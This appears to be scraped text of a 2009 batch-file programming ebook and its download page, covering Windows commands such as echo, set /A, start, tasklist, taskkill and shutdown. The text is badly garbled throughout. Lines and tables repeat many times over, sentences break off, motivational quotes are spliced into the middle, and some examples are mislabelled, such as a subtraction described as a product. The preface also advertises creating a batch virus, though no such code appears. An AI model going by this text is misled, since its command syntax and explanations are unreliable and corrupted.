



## Batch file programming pdf free download

Many of us have heard or perhaps known about the batch file, but very few are aware of its power and dominance in Windows. Almost everything can be done when we know relevant command line instructions with a single click through them. Batch File Programming - Introduction A batch file is an unformatted text file or script file which contains multiple command that is executed by comm sequences. Before the implementation of modern GUI's (Graphical User Interface), in the operations can only be achieved through command line. Even though we are facilitated with GUI's, many major core operations can only be achieved through command line instructions. So whenever we write instructions or codes in batch files, we are executing command line operations through our instructions and when we know how to write commands, we can do many powerful things in the Windows. For example: We can create a .bat file with instructions of shutting down and whenever clicked in that file, Windows will automatically shut down. Sounds fun, right? click here to know in details about all the batch file commands with examples. How to create a batch file? Well as simple as it sounds, you don't need any extra software installed to create a batch file. Just open up a built-in text editor for windows. After writing commands, all you need to do is save it as a .bat or .cmd file. Voila, you have created your first ever batch file. But you haven't put any instructions. We will cover about programming and scripting in next articles. Now that you know how to run it? How to run a batch file? It may sound funny, but all you have to do is click that file to run it? How to run a batch file? It may sound funny, but all you have to do is click that file to run it? written in a batch file. A batch file can also be run via command prompt. In order to execute the batch file from command prompt, we must set the path address to that directory. Let's create a simple batch file is stored or we should include the path address to that directory. and save the file as a .bat file @echo off echo This is my first script pause Copy and paste the code above and click on that file to run the script It will generate an output like this. Explanation of the program Line 1: @echo off at the top of the script, it will produce an output where 'echo' itself will also be displayed. And the output becomes like: So to avoid the display of command itself, we must use @echo off at the top. Line 2: echo This is my first script Line 2 just echoes 'This is my first script Line 2 just echoes able to see the output. Batch File Programming - DOs and DON'Ts You must always follow best programs, we must maintain the habit of following better practice because while we write huge programs, it becomes a nightmare to debug it and also maintain it because no one else will understand your code if not properly documented. So here are the few things that must be implemented and few things that must be implemented and few things that must be avoided while coding. DOs Documenting code with comments Perhaps this is one of the most important one because without proper documentation it becomes tedious to maintain the code and debug it . So it is always a good idea to insert comments in programs or codes, explaining what the next lines or block of code is trying to accomplish, how and why. Either REM or : : is used for comments in batch file programming. Here is the example. REM This is first comment :: This is another comment Validating input As simple as it is to code batch files, so is to hack and tweak the code because everything is like plain English in batch programs. Batch files are weakly typed, so it is always a better approach to validate all the inputs in batch file programming. Check variables before using them Always check the new variable before using them or initializing them because they might already have been defined. Indentation Without proper indentation, a program becomes confusing to intercept. So always use proper indentation in every line of code for better understanding of the code. DON'Ts If there are few things to be considered for better programming practice, there are also certain things that must be avoided. Here are the few things that you as a programmer should try to avoid one-liner codes (multiple command lines joined into a single one by ANDs and ORs) and use a block codes (nested if else) and use subroutines instead. Don't use variable names as command names Some final words of advice before you start playing around batch commands Now that you have known about the batch files, in the coming tutorials, you will learn about advanced concepts in batch file commands and scripts are too much powerful and if used without proper knowledge, it can crash your machine and software's functionalities. Make sure you know what you are doing because with batch scripts we are playing with the core feature of Windows. Many people take no care of their money till they come nearly to the end of it, and others do just the same with their time. Do the one thing you think you cannot do. Fail at it. Try again. Do better the second time. The only people who never tumble are those who never mount the high wire. This is your moment. Own it. Remember that the happiest people are not those giving more, but those giving more, but those giving more, but those giving more, but those giving more. Money never made a man happy yet, nor will it. The more a man has, the more he wants. Instead of filling a vacuum, it makes one. Challenges are what make life interesting and overcoming them is what makes life meaningful. Preface This book 'Batch File Programming' is written after experimenting and testing all the snippets covered in this book. Batch File Programming is a pretty old one, but i have found lot of books that haven't covered the dark-side of the batch, which still remains untold. The ultimate goal of this book is to make the readers understand how it works, what are the limitations of the batch, what else is possible with a batch, constructing useful programs with various views, Creating a batch virus by mis-using the commands, creating a batch file to an executable and lot more. This book is aimed at novice to advanced programming, this would be the right drive to start with, since this book contains real time examples along with screenshots that really helps in a better understanding of the concept. First Edition May 2009 Acknowledgements First and foremost I would like to thank my Mum and Dad for their constant care and blessings. My Special thanks to Mr. C. Robinson (CEO, W3cert), for his kind encouragement in authoring this book more over I cannot forget to express my gratitude for my relatives and comrades. I haven't seen him anywhere before, but it's my duty to owe my gratitude to him and he is none other than the Almighty God for the inspiration and guidance in all my successful stages. First Edition May 2009 Dedicated to W3Cert and I hope the contents in this E-Book 'Batch File Programming' will really help the students of W3Cert for their exploration in batch file programming and interfering with the windows kernel by using the commands given in this book. First Edition May 2009 This page is intentionally left blank Batch File Programming 1 Batch File Programming Introduction Batch file programming is the native programming is the native programming is the native programming 1 Batch File Programming Introduction Batch file programming is the native programming is the native programming is the native programming 1 Batch File Programming Introduction Batch file programming is the native programming is the native programming is the native programming 1 Batch File Programming Introduction Batch file programming is the native programming Introduction Batch file programming is the native programming Introduction Batch file programming is the native programming Introduction Batch File Programming Introduction Bat using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a
series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS. Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating system logs. The commands used while creating a batch file are case insensitive, in the sense that it may accept both small and upper case letters. Modes: There are two different modes that are supported by DOS (Disk Operating System), they were, 1. Interactive Mode. 2. Batch Mode (Silent Mode). Interactive mode, when a command is executed, it interacts with the user for input and depending upon the input supplied by the user, the further processes are carried out. For example, let's take the 'del' command. The 'del' command is used for deleting files that reside inside a directory. Now I am going to delete all the files inside a directory. Now I am going to delete all the files inside a folder named 'a', and when I executed the following command, it is interacting with me prompting "Are you sure (Y/N)?", confirming the deletion operation, and depending upon my input, it decides what to do. If I hit 'Y' then it will delete the files specified, else if I hit 'N' then it won't delete. 2 C:\>del a C:\>de instead it will take care of every operation by itself. For example, I am going to explain this by using the same 'del' command. There is a switch available for the 'del' command. There is a switch available for the 'del' command. There is a switch available for the 'del' command is not at all interacting with me, whether to delete those file or not. In the above example, I have tried to delete the same files in the same folder by using the same command but with a different switch. Anyhow both the commands will perform the same operation but the mode it operates differs. How to create a Batch Program: As said earlier, batch programs can be written using any of the text editors such as notepad, wordpad and so on, but notepad is the most often used text editor in such cases. Like any other programing languages, lets start our first program with the 'Hello World' program. 1. Open up a notepad and type the following. @echo off Echo Hello World pause 3 2. Save the file with any name you wish, but make sure that you save the file extension with .bat, in this case I am saving this file as 'first.bat'. 3. When you save the batch file, then the icon becomes like the below icon, In Windows XP, the Batch file icon looks like above, where as in Windows Vista the Icon looks like the below image, 4. Just double click to execute the batch file that you have created now. And the output looks like, 5. You are done! Let me explain what does the above given program does, 'echo' is the command used to print text on the screen. This command is just like the 'printf' statement in the C language. When you type the echo command alone, then it will tell you whether the 'echo is ON' or 'echo is OFF'. It's always recommended to turn the echo off, else it will display the prompts like (C:>) and so on. In order to avoid the prompts being displayed, the echo is turned off by using the "echo is turned off by using the command "@echo off" or simply by using the prompts like (C:>) and so on. In order to avoid the prompts like (C:>) avoid the prompts like (C:> output screen, and the pause command is used to wait for the user interaction, whether to proceed further or not. If the pause is not used, then the batch will terminate immediately after displaying the "Hello World". 4 Internal and External Commands There are two types of commands that we can run from a command prompt, and they were, 1. Internal commands 2. External commands. Internal commands are nothing but the built-in commands that are shipped along with the operating system, for example, echo, cls, del, dir were few of the well known internal commands. External commands are the commands that are often created while installing a new application and these commands mostly have no use except calling that application and support files. Few external commands include 'firefox' command can be executed only from the run line, that too if the firefox application is installed on that machine and it won't work on the commands prompt. Likewise the 'firefox' there are various other external commands such as the "PsTools" which includes commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and so on. 5 Run Line commands like, PsExec, PsFile, PsGetSid, PsInfo, PsKill, PsLoggedOn and PsExec, PsFile, PsGetSid, PsExec, PsFile, PsExec, PsExec, PsFile, PsExec, run line commands, hence it's a must to know at least few useful run line commands for constructing a good batch program. Here I am going to list out the useful run line commands with a brief description. Commands for constructing a good batch program. Service control adminitools Administrative Tools cleanup Utility control color Display Properties computer Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Console control folders Folder Options cliconfg SQL Client Configuration certmgr.msc Certificate Management Cer calculator cmd Opens command prompt devmgmt.msc Device Manager dfrg.msc Disk Defragmenter 6 diskmgmt.msc Disk Management dcomcnfg Component Services ddeshare DDE Shares diskpart Disk Partition Manager desk.cpl Display Properties drwtsn32 Dr. Watson directs.cpl Direct X Control Panel dxdiag Direct X Troubleshooter eudcedit Private Character Editor eventvwr.msc Event Viewer (Maintaining System Logs) explorer Opens My Documents freecell FreeCell Game fsquirt Bluetooth Transfer Wizard fsmgmt.msc Shared Folders gpedit.msc Group Policy Editor hdwwiz.cpl Add Hardware Wizard iexpress Wizard (Package creator) iexplore Internet Explorer inetcpl.cpl Internet Explorer Properties ipconfig Windows IP Configuration intl.cpl Regional Settings joy.cpl Game Controllers lusrmgr.msc Local Users and Groups logoff Logs out current user magnify Open Magnifier 7 makecab Cabinet Maker, file compressor. msconfig Open System Information mspaint Opens Mspaint msmsgs Windows Messenger mstsc Remote Desktop mmsys.cpl Sounds and Audio mqbkup Message Queue Backup\Restore Utility notepad
ntmsmgr.msc Removable Storage ntmsoprq.msc Removable Storage Operator Requests ncpa.cpl Network Connections netsetup.cpl Network Setup Wizard openfiles Used to view Files Opened Remotely via local share points odbccp32.cpl ODBC Data Source Administrator osk On Screen Keyboard proxycfg Proxy configuration packager Object Packager perfmon.msc Performance Monitor powercfg.cpl Power Options pentnt Checks for Floating point error in Intel based processors qappsrv Displays the available application terminal servers 8 on the network. qprocess Displays information about processes qwinsta Display information from a bad or defective disk. relog Used for Logging. replace Replaces files rexec Runs commands on remote hosts running the REXEC service route Manipulates network routing tables rsh Runs commands on remote hosts running the RSH service rsm Manages media resources using Removable Storage runas Allows a user to run specific tools and programs with different permissions than the user's current logon provides. regedit Opens Registry Editor rsop.msc Resultant Set of Policy rwinsta Reset the session rasphone Remote Access Phonebook services.msc Used for Managing all the services on the computer. 9 sigverif File Signature Verification Tool second.msc Local Security Settings shutdown Windows System Security Tool sc Communicates with the service controller and installed services. schtasks Replaced with at. setver Sets the version number that MS-DOS reports to a program shadow Helps in remote connection & network used to monitor another Terminal Services session shrpubw Shared Folder Wizard sndvol32 Volume Control system.ini, system.ini, config.sys, autoexec.bat sol Opens up Solitaire Game timedate.cpl Date and Time Properties telephon.cpl Phone and Modem Options telnet. tscon Attaches a user session to a terminal session. tskill Ends a process. Even can terminate a process. Even can terminate a process 10 running on a remote session. tskill Ends and writes into a specified log file. userinit My Documents verifier Driver Verifier Utility winchat Microsoft Chat winmine Minesweeper Game wuaucpl.cpl Automatic Updates wscui.cpl Security Center wmplayer Windows Time. register to run as a service and add default configuration to the registry winmsd System Information. wupdmgr Windows Update Launches winver Displays Windows Version write Opens WordPad 11 Batch Operators Similar to other programming languages, batch program do support various operators for performing operations like arithmetic and logical operations, bitwise AND, OR, NOT, shifting and redirection operators and grouping operators. Operators () ! Description Grouping ~ - \* / % + - > < > Unary operators & Bitwise exclusive or | Bitwise exclu using Multiple commands || For executing one from many commands The above given were the operators available in Batch file programming for performing arithmetic and logical operations. Let me brief you the operators with a small example, Note : For performing arithmetic operations, the 'SET' command should be used along with the 'A' switch. For performing an addition operation on two integers, then I have to use the below command, C:>set /A 5 + 5 10 12 As you see in the above example, the 'set /A' is used for performing arithmetic operations like addition, subtraction, multiplication and division. The above example is used for performing an addition operation on two integers namely 5 and 5 and gives the output as '10'. Similarly you can use the other arithmetic operators. Example: The below command is used finding the product between 5 and 5. C:>set /A 10-5 5 The below command is used to subtract 5 from 10. C:>set /A 10/5 2 The below command is finding the remainder value and this operator is called modulo operator. In this example the remainder value obtained when 11 divided by 5 is 1 and is displayed as output. C:>set /A 11%5 1 Operator precedence: Likewise other programming languages, batch program does support operator precedence for performing a valid arithmetic operation to obtain accurate results. The precedence of operations are given in order, \*, /, %, +, -. The expression that is enclosed and grouped with the grouping operator '()' gets the high priority in the precedence. C:\>set /A (10-5)\*2+6/2 13 13 In the above example, the expression that is enclosed within the '()' operator gets the high priority and thus 10-5 is '5', the next priority moves to the '/' division operator and '6/2' gives '3', then comes the multiplication '\*' operator 5\*2 gives '10' then it is summed up with '3' to obtain the final result as '13'. To redirect the output of one command to other file, the '>' and 'echo hello redirection > first.txt C:\> As we already have seen that the 'echo' command is used for printing the given text on the screen, here by using the redirection operator '>' we are redirecting the output of the command to a text file. It will create a new text file even it wasn't already there. Likewise you can redirect the output of any command to any other files. The below command is used for performing the same operation but the redirection happens to word document, C:\> echo hello redirectory names, the following example will brief with the usage of this operator is a unary operator is a unary operator is a unary operator is a unary operator that is used for shortening the long directory name, for example the "Documents and Settings" is a directory that contains more than 8 characters, instead of typing them all and messing with it, we can use the '~' operator, so that it will automatically recognizes the path and performs the operation mentioned, C:\>cd C:\DOCUME~1\CYB3RC~1\LOCALS~1\Temp > 14 The above command is just a path to the location "C:\Documents and Settings\Cyb3rcr4wl3r\Local Settings\Temp", where "Cyb3rcr4wl3r' is the user account on my computer. Note: even though the '~' operator, it can't be used without the 1 following the operator. The '&&' operator is a unary operator, it can't be used without the 1 following the operator. The '&&' operator is used to execute multiple commands in a single line, for example, the following command is used to print the text 'hi' and 'hello' using two different echo commandas, C:\>echo Y | del \*.txt In the above example, whenever you delete a file using the del command, it will prompt you with a confirmation message whether to delete the file or not, and only depending upon the user input it will proceed further, here we can make use of the pipeline '|' operator to print 'Y' when the 'del' command prompt for the user input it will proceed further, here we can make use of the pipeline '|' operator to print 'Y' when the 'del' command prompt for the user input it will proceed further, here we can make use of the pipeline '|' operator to print 'Y' when the 'del' command prompt for the user input it will proceed further. output of the echo command (i.e. 'Y') will be given as input for the del command, and as a result it deletes all the text files that reside in the specified directory. 15 Basic Commands Here I am going to explain few basic and often used for constructing a simple batch program. Before getting into the commands, there are few thing that I need to explain in detail, and they were 'sub-commands', 'switches' and 'parameters'. Sub-commands are nothing but the supportive commands to narrow down the result that we are looking for. For example, I want to view how many user accounts are there created in my computer, and this can be done using the "net" command, as below, As you can see in the above screenshot, 'net' is the main command gets executed, its displaying all the available user accounts in my computer. Switches: Say, for instance i am going to create a new user account in my computer by making use of the "net" command, and the user account that I wish to create is "technocrawl" with password "P4\$\$w0rd" and this can be done using the following command, 16 As you can see in the above screenshot, 'switch' is used again to narrow down the operation of the command that being performed, and most often switches are prefixed with as backward slash '/' or with an hyphen '-'. The above command have created a new user account named "technocrawl" with the password "P4\$\$w0rd". Parameters: 'Parameters' can also be referred as 'command line arguments' and are nothing but the input supplied to the program by the user while the program is running, and depending upon the parameter the program will proceed the further operation. Copy the below given code into a notepad and save it as 'welcome.bat'. Goto command prompt and run the program by using its name "welcome.bat" (Make sure that the 'welcome.bat' exists in the directory where you want to run). @echo off cd\ echo Welcome %1% pause Output: 17 Where, 'welcome' is the batch file name and its followed by the parameter is "Cybercrawler". Note: You can specify 'n' number of parameters for a batch file. Each parameter can be accessed by using the "%number%" format, where you have to replace the 'number' with 1 to access the first parameter value, and '2' for access the file name then it can be access by using %0%, and for accessing the second parameter value and viceversa. Incase if I want to access the first parameter value, and '2' for accessing the second parameter value and viceversa. used to display the available internal commands supported by windows, so that you can type 'help' to know the internal commands and switches, and to find out the usage of each command in detail, then you may use the '/?' (without quotes) followed by the command, for example, if I want to know what are the available sub-commands and switches for the 'net' command, then I can use the 'net /?' command to get more details. Rem: The 'rem' was ignored. The 'rem' command is often used for commenting large batch programs for easy identification incase of updating of modifications. @echo off Rem Program for printing hello world. Echo Hello World. Pause
In the above example, the 'rem' command is used for command is just like 'printf' statement in C programming, this is used to display the text that follows the command on the output screen. Echo command when used alone will display the state, whether it's turned ON, but it's always recommended for batch programmers to turn OFF. By default the echo, so that it won't display the prompts like (C:\>) and so on. You can turn OFF the echo command by using the command. Color: The 'color' command is used to set the foreground color code Where, The "background color code", and to turn it ON, you can replace the OFF with ON in the above command. Color: The 'color' command is used to set the foreground color code "background color code". and "Foreground\_color\_code" are nothing but the hexadecimal color codes. You can pick the color from the below table, 19 Hex Code Color Name 0 Black 8 Gray 1 Blue 9 Light Red 5 Purple D Light Red 5 Purple D Light Red 5 Purple D Light Red 5 Purple 0 Light Red 5 Purple 0 Light Red 5 Purple D Light Red 5 Purple 0 Light Red 5 Purple 0 Light Red 5 Purple D Light Red 5 Purple D Light Red 5 Purple 0 Light Red 5 Purple D Light Red 5 Purple 0 Light Red 5 change my command prompt color with black as background and green as foreground, then I can use the following command prompt. By default the title of the command prompt is set to "C:\Windows\System32\Cmd.exe" incase of windows XP and "C:\Winnt\system32\Cmd.exe" incase of Windows 2000. Now I wish to change the title to "Crawlers Shell Console", and this can be done by using the command given below, 20 Prompt: The 'prompt' command is used to change the prompt; the default prompt will be the location of the current directory. You can change the prompt as per your wish by using this 'prompt' command. The following are the special codes available for the 'prompt' command. \$A & (Ampersand) \$B | (pipe) \$C ( (Left parenthesis) \$G > (greater-than sign) \$H Backspace (erases previous cha \$L < (less-than sign) \$N Current drive \$P Current drive and path \$Q = (equal sign) \$S (space) \$T Current time \$V Windows XP version number \$ Carriage return and linefeed \$\$ \$ (dollar sign) 21 Cls: The 'date' command is used for displaying the current date and also for changing the date. When the 'date' command is executed alone, then it will prompt you to change the date and when it is executed with the '/T' switch then it will display you the current date. Time: The 'time' command is executed alone, then it will prompt you to change the date and when it is executed with the '/T' switch then it will display you the current time. 22 Start: The 'start' command is used for starting an application, assigning it with a priority, specifying the memory where to be shared or separated. This command does have its own switches. Whenever the 'start' command is used for starting an application, assigning it with a priority, specifying the memory where to be shared or separated. used to start a new command prompt with the text "My Shell", and you can see a new window appeared just right of it with the text "My Shell" specified as title. The '/d' switch is used to specify the start directory of the command prompt, in the following case, I have set the start directory as "C:\windows\system32" using the '/d' switch, and now you can see a new command prompt, if no application is specified. In the following example, I want a notepad application to be opened in a minimized window. C:>start /min notepad Once this command gets executed you can see the minimized notepad, in the system taskbar. 23 The '/max' switch is used for starting a new maximized command prompt, if no application is specified. In the following example, I want MSpaint application to be opened in a maximized window. C:\>start /max mspaint Once this command gets executed you can see the MSpaint getting popped up in a maximized window. The '/separate memory space. The below command will open up a calculator application in a separate memory. C:\>start /separate calc The '/shared' switch is used for starting up 16bit programs in a shared memory space; hence all the application shares the same memory space. C:>start /shared write The '/low' switch when used for starting up a mapplication with the minimal priority (Idle Mode), so that these applications may not be given higher preference. The following command is used to open up a Microsoft office word application in a normal mode, which is the default mode for any application with idle mode. C:\>start /low winword The '/normal' switch when used along with the start command is used to open up a Microsoft office word application in a normal mode, which is the default mode for any application with idle mode. getting started. The below command is used to start a new Internet Explorer window with a normal mode. C:>start /normal iexplore.exe The '/high' switch, when used with the start command will assign high priority. 24 C:>start /high explorer.exe The '/realtime' switch assigns a specified application with the real time priority, so that, if this application requires more space for its successful execution, then it will be allocated with the memory space rather than that of the other applications or processes. C:\>start /realtime ... The command will open up the "My Computer" with real priority. The '/abovenormal' switch is used to assign a process with the priority which stays in between the normal and high priority class. C:\>start /abovenormal'. The '/belownormal' switch is used to assign a process with the priority which stays in between the normal and idle. The below command is used to open the "hearts" game with the below normal priority class. C:>start /belownormal mshearts.exe The '/wait' switch when used with the start command will start the 'tree' command and waits until the start command will start the 'tree' command and waits until the start command will start the 'tree' command and waits until the start command will start the 'tree' command and waits until the start command will start the 'tree' command will s command list out the complete structure of the directory and then will terminates. C:>start /wait tree The '/b' switch is used to open up a new command prompt, then its similar to have 2 command prompts, so typing exit will terminate the newly opened command prompt and will not close the entire prompt. 25 In the above screenshot, you can see that, I have used the exit command to get rid of the console, but it's not doing so, but anyhow, I have closed one console and I am working with the other. Exit: The 'exit' command is used to terminate or close the command prompt. Call: The 'call' command is used to call another external batch program. For example, I have created two batch programs namely 'bat1.bat' will not support accepting parameters, in such cases, I can use the parent program (bat1.bat) and call the child program (bat1.bat' will not support accepting parameters, in such cases, I can use the parent program (bat1.bat) and call the child program. (bat2.bat) to make the child program to accept the parameters. 26 Tasklist: The 'tasklist' command is used display all the processes that are currently running in the background along with the PID (Process ID), session name, session and memory usage. are looking for. When the 'tasklist' command without supplying any switch is used to specify the remote machine to connect with, the '/U' switch is used for specifying the domain with the username to run the specified user context. In the below example I am going to connect to the machine named 'node22' in my LAN, using the below command, C:\>tasklist /s \ode22 /u administrator /p P4\$\$w0rd The above command will display the processes running on the remote computer "node22" under the user "administrator". 27 The 'tasklist' command when used with the '/M' switch will display all the .dll (Dynamic Link Library files) associated with the 'svchost.exe', and this is how it looks like, The screenshot, reveals the .dll files associated with the 'tasklist' command is used to display the services associated with the processes running in the background and the output of the command looks like, If you are not aware of the services, then you may have a lot at 'services.msc' and it will display all the services available in your computer. The '/V' switch is used for displaying the verbose information about the processes running in the background. 28 The '/FI' switch is used to filter the result according to the filters and conditions used. Filter Name Valid Operators Valid Value(s) STATUS eq, ne, gt, lt, ge, le PID value SESSION eq, ne,
gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le PID value SESSION eq, ne, gt, lt, ge, le CPU time in the format of hh:mm:ss. hh - hours, mm - minutes, ss - seconds MEMUSAGE eq, ne, gt, lt, ge, le Memory usage in KB USERNAME eq, ne Window title DLL name The valid operators are nothing but the short terms for the precise words given below, Eq equals Ne Not Equals Gt Greater than and equals 29 Now let's see, how to use the '/FI' switch effectively, The following command will list all the processes that are "Not responding". C:\>tasklist /FI "status eq not processes that are currently running, C:\>tasklist /FI "pid lt 1000" The below command will filter the processes running in the background using the session number '0', by default the session number of the currently logged in local user is '0', hence it will display all the processes, C:>tasklist /FI "session eq 0" The below command will display all the processes running in the background which occupies more than 10000 Kilobytes of memory, C:\>tasklist /FI "memusage gt 10000" The below command will filter and display all the processes running in the background except the "explorer.exe", C:\>tasklist /FI "services ne explorer.exe" 30 The below command is used to display all the background running processes, which are not running under the username "Cybercrawler". C:>tasklist /FI "username ne cybercrawler" The below command is used to display all the process that except the process the process that except the process the p filtering whose processes are associated with the "winsta.dll" module. C:>tasklist /FI "modules eq winsta.dll" The following command is used to connect to the remote machine named "productionserver", by using the username "administrator" with password "\$3cr3t" and will filter the processes, which are occupying more than 15000 Kb memory, and whose window title says "Untitled\*". C:> tasklil: The 'taskkill' command is used to terminate the specified processes both locally and remotely. This command does too have lot of switches and filters, and only few differs from the 'tasklist' command, and most of the switches were similar and operates the same like the 'tasklist' switches. The following command is used to connect to the remote host with the IP address 10.199.64.66 by using the username "admin" with the password "adminP4\$\$" and terminate the process that has the name "soundmix.exe". C:>taskkill /S 10.199.64.66 /U admin /P adminP4\$\$ /im soundmix.exe When you notice the above command, the switch used for connecting to the remote host '/S', and the switch used for supplying the username and password '/U' and '/P' respectively was the same in the 'tasklist' command. The only switch that differs in the above command is the '/im' which is a command is the '/im' which is a command. used to specify the Image name (Process Name). The '/F' switch is used for forcibly terminate the specified PID (Process ID), the following the specified PID (Process ID)) (Process ID) (Process ID) (Process ID) (Process ID) (Process ID)) (Process ID) ( command is used to terminate the process, which have got the PID number 556. C:>taskkill /f /PID 556 If the process, then you will be displayed an error as displayed an error as displayed to terminate all the threads and child processes associated with the specified process to kill. The following command is used to kill the process on the local machine. C:\>taskkill /f /im fun.exe /t The filter switch in the tasklist command, anyhow lets see few example, on how to effectively terminate processes by filtering it. The below command is used to connect to the remote machine with IP address 10.199.64.66 with username "technocrawl" and the process name is "remoteshell.exe", and the process that occupies more than 20000 Kilobytes of memory. C:\>taskkill /S \\10.199.64.66 /U technocrawl /P [email protected] /IM remoteshell.exe /PID 1524/T /PID 2415 /T /PI drive as "Root Drive". C:>label Root Drive In case, if you are in the C: drive and want to change the label of the D drive, then you are supposed to specify the Drive as D: as below, 33 C:>label D: Softwares You can name the Volume label up to 32 Characters Max. Tree: The 'tree' command is used to display the current directory structure in a graphical format. As given below, The 'tree' command when used with the /F switch will give an elaborate tree structure of the current directory including the ASCII characters, the below screenshot will brief you the difference between both the switches, 34 Ver: The 'ver' command is used to display the Windows XP version, and this command doesn't have any switches. C:>ver Microsoft Windows XP [Version 5.1.2600] Type: The 'type' command is used for displaying the contents of a file, and this command to doesn't have any subcommands or switches. without opening it in a separate window, then I can use the below command, C:\>type userlist.txt 35 Shift: The 'shift' command is useful only if your batch program accepts parameters from the user. The following example will clearly brief you how this command is useful only if your batch program accepts parameters from the user. works, @echo off Echo Before shifting. Echo first parameter : %1% Shift Echo After shifting. Echo first parameter s namely 'a' and 'b', as shown below, As you can see in the above screenshot, after shifting, the first parameter gets the value of the second parameter and vice versa. You can specify, where the shifting operation should take place, if I want the shift command to shift /3'. 36 Pause: The 'pause' command is used to suspend the process of the batch program, and will wait for the user interaction, and depends upon the user interaction the command will proceed further. When the pause command is executed, then it will display the message "Press any key to continue . . .". Convert: The 'convert' command is executed, then it will display the message "Press any key to continue . . .". formatting or doing any major changes. The below command will convert the C: drive from FAT to NTFS. Convert - Command C: - Drive that you want to convert /FS - Switch stating the File System NTFS - NTFS (New Technology File System) Just by using the above command, you can easily convert any Drive from FAT or FAT or FAT or FAT or FAT or FAT to NTFS. FAT32 to an NTFS Partition, even without formatting. Remember that this is a One way process, you can change from FAT/FAT32. NTFS includes a lot of features like compression and encryption providing both security and optimizing memory, also includes fast indexing and can use features such as Active Directory. 37 Shutdown: The 'shutdown command is used to shutdown, logoff or reboot the specified machines both locally and remotely. The shutdown command used to abort the machine from shutting down. For example, if you have already initiated a shutdown, you can abort the operation using the below command, C:\> shutdown, where as the '-r' is used to specify the time to wait, to perform the operation mentioned. The arguments supplied to the '-t' switch can only be accepted in seconds, for example, if I wish to turn off my command to do so, C:> shutdown -s -t 60 The '-c' switch is used for displaying comments in the output window (dialog box). This switch is often used to convey the reason for the shutdown or reboot. For example, if I have turned off all the computers connected in the LAN for updating software's, then I may use the '-c' to convey this message as the reason by using the below command, C:>shutdown -s -t 85 -c "This is a Temporary shutdown for updating the production softwares, and machines will be up soon" 38 The above given command is only applicable for local shutdown. To remotely shutdown or reboot computers in a LAN, you can do it either by using the GUI (Graphical Remote Shutdown Dialog Box) or by command line. The '-I' switch is used to open up the "remote shutdown dialog" box, where you can add either the hostnames or the IP addresses of the machines, then you may choose the operation in the given list as "shutdown" or "Log off" or "reboot", then you may choose the delay time to performed. You can add any number of machines and can specify the comments and can specif to perform this operation, The remote shutdown dialog box looks like below, 39 In the above screenshot, you can clearly see, that I have made four different IP addresses of the computers after a time period of 45 seconds, and I have made comments that states the reason for the remote computer, for example the following command is used to reboot the remote machine that has the IP address "10.199.64.71", C:> shutdown /m \\10.199.64.71 -r -t 45 -c "This is a temporary reboot, for updating the production software's, and machines will be up soon." The '-f' switch is used to forcefully terminate all the applications that are currently running on the specified computer, and then will perform the specified computer, and then will be up soon." currently running applications on the local machine and then log off the current user immediately, C:>shutdown /f -l -t 00 40 At: The 'at' command was helpful is scheduled, then it will run the program at the specified time, no matter whether the user is there or not, but the machine is supposed to be turned ON. The 'at' command when executed alone without using any subcommands or switches will display the number of schedules tasks and it will display the message "There are no entries in the list.", if nothing was scheduled to run. Each scheduled task is assigned with an ID number. To schedule a notepad application to run in
